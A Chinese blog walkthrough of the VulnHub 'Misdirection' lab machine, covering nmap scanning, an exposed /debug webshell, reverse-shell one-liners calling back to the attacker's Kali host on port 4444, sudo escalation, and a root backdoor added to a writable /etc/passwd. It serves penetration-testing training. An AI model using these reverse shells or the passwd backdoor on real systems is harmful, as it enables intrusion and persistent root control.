目录
写在开头
第一步:主机发现与端口扫描
第二步:Web渗透(80端口,战术放弃)
第三步:Web渗透(8080端口)
第四步:sudo bash提权
第五步:/etc/passwd利用提权
总结与思考
写在开头
本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。Misdirection靶机也很简单,对于我们的启发就是渗透优先级的选择,当遇到攻击面暴露较多的路径时,可以先放一放,避免走进死胡同死磕不得解,应当优先渗透相对容易的方向或容易尝试的方向。本文涉及到的知识点包括:信息收集的技巧、常见反弹shell语句、sudo bash提权、viminfo敏感信息、/etc/passwd可写提权等,完整的打靶思路详见:
「红队笔记」靶机精讲:Misdirection - 渗透目标选择的优先级很重要,死磕一处和快速跳跃的权衡和智慧。_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
Misdirection: 1 ~ VulnHub
下载链接见:
https://download.vulnhub.com/misdirection/Misdirection.zip
这个靶机好像用VMware和Virtual Box都可以,我就用VMware了,将靶机的网络设置为NAT模式,靶机打开如下图所示:
第一步:主机发现与端口扫描
常规思路,这里不细讲了。我kali的ip是10.10.10.128,主机发现靶机的ip是10.10.10.155,扫描出开放的TCP端口仅有22,80,3306和8080,具体命令如下:
nmap -sn 10.10.10.0/24 //主机发现
nmap -sT --min-rate 10000 10.10.10.155 //TCP全端口扫描
nmap -sT -sC -sV -O -p22,80,3306,8080 10.10.10.155 //用默认脚本扫描服务信息、操作系统版本
nmap --script=vuln -p22,80,3306,8080 10.10.10.155 //漏洞脚本扫描
nmap -sU --top-ports 20 10.10.10.155 //探测UDP最常见的20个端口的开放情况
信息挺多的,核心还是web端,可能80端口和8080端口都能作为攻击的入口点,同时3306是MySQL,也有可能存储一些关键信息。
第二步:Web渗透(80端口,战术放弃)
常规思路还是先看web端,浏览器访问靶机ip,界面如下:
感觉像是个挺正规的产品介绍网站,主要产品貌似是“免费可信赖的在线投票系统”。感觉像是有CMS,页面最下方有个banner说明这个网站使用web2py部署的:
点击链接可以查看web2py,很遗憾,这不是什么CMS,好像是个开发框架,不太了解,那我们回头再研究相关漏洞:
再回到初始页面,还是感觉页面的东西还是非常多,还有很多注册页面,甚至还有一个Source Code可以查看E-vote的源代码,在github上:
另外回头看一眼刚刚nmap漏洞扫描的结果,可以发现一些敏感的路径。比如/admin之类的
尝试访问漏洞脚本扫描中的几个目录枚举路径,很遗憾,都没啥收获:
另外漏洞脚本也暴露潜在的sql注入信息,感觉这个web的80端口入口点太多了,我有点不知所措了。另外目录爆破还没做呢。
世上无难事,只要肯放弃。于是我们先摆烂,跳过对80端口的渗透,因为突破口不太明显,可以尝试的地方比较多,容易在一个地方死磕浪费时间,不如先战略性放弃,如果8080端口没有突破口再回来看。
第三步:Web渗透(8080端口)
于是乎我们战略性跳过80端口,先看看8080端口有没有明显的突破口,访问浏览器,靶机ip:8080,就是个常规的apache页面:
回看nmap漏洞扫描脚本中关于8080端口的信息:发现有许多潜在的敏感目录:
依次尝试访问,最后在debug目录发现了神奇的景象:
直接把shell暴露在web页面了,这也太关键了。尝试输入whoami可以看到这是www-data的目录, 怪不得这个靶机的名称叫Misdirection,关键点在这儿呢!前面80端口复杂的web页面的估计都是误导哈哈哈。那么我们尝试反弹shell,把这个webshell迁移到我们的kali中,首先在kali中nc监听4444端口:
然后在webshell中输入以下两个命令中的任意一个均可实现反弹shell(别忘了修改ip为你的kali):
//以下两行任意一行都可以
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.128 4444 >/tmp/f
bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"
第四步:sudo bash提权
接下来就是提权了,通常来说www-data的权限是很小的。我们尝试sudo -l
看来是一波送分了。竟然可以免密运行bash,切换到brexit用户中,那么我们尝试提权:
sudo -u brexit /bin/bash
提权成功了!不过这个shell的交互性不是很好,我们尝试用python提高交互性:
python -c "import pty;pty.spawn('/bin/bash')"
查看user flag,就在brexit的家目录下:
第五步:/etc/passwd利用提权
经过一番搜索无果(sudo -l ,自动任务等)之后,在家目录中发现了一个隐藏的敏感文件,即.viminfo,这个文件应该是vim的历史信息。
查看.viminfo可以发现brexit这个用户曾经用vim编辑过/etc/passwd:
莫非当前brexit用户拥有对/etc/passwd的写权限?查看/etc/passwd的权限:
还真是有写权限,恰好属组就是brexit,那么问题就简单了,我们可以直接在/etc/passwd中追加一个账号作为root账号即可。也可以直接修改root的密码,此处我们就追加一条信息,账号是myroot,密码设置为123456,用openssl生成对应的hash如下:
openssl passwd -1 123456
然后我们仿照/etc/passwd的格式生成一个账号backdoor和密码123456:
backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash
接着把这条记录添加到/etc/passwd中,可以直接vim编辑,也可以用echo追加(特别注意,echo内容的引号必须是单引号,不能是双引号):
echo 'backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash' >> /etc/passwd
添加完成后用su切换为backdoor用户,输入密码123456即可提权:
提权成功,flag位于/root目录下:
至此打靶完成。
总结与思考
这个靶机如果死磕80端口的话可能很难成功,但是题目名字Misdirection本身就给了我们提示。何谓”误导“?看似复杂,不知道从何下手的80端口就是误导。这个靶机的关键点就是发现8080端口下的/debug目录直接暴露了webshell。本次打靶的启发就是渗透优先级的选择:优先渗透攻击面明显、相对容易操作、步骤简单的攻击面,把复杂,不知从何入手的端口的渗透优先级降低。最后总结一下打靶过程:
第一步:主机发现和端口扫描。常规思路,发现四个常规端口22,80,3306,8080。重点关注漏洞扫描脚本中的目录枚举。
第二步:80端口渗透。看着就头大,信息非常多,战略性暂时放弃。
第三步:8080端口渗透。发现关键目录/debug存在webshell,直接暴露了www-data的shell,构造反弹shell将此webshell转移至本地kali交互。
第四步:sudo提权,发现可以sudo bash转换到brexit用户,初步提权到了brexit的权限。
第五步:可写/etc/passwd提权,在brexit家目录发现敏感文件.viminfo,暴露了对passwd的编辑历史,说明passwd对于用户brexit可写,于是追加高权限的用户信息到passwd,再su即可提权。
这个靶机到这里就结束了。说实话,这个靶机的总结我拖了好几天才写完,主要还是感觉动力不足,没有太多的额外知识点,关键在于不能死磕80端口。总结一篇博客真的挺耗时的,恳请各位读者多多点赞关注支持啦。学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!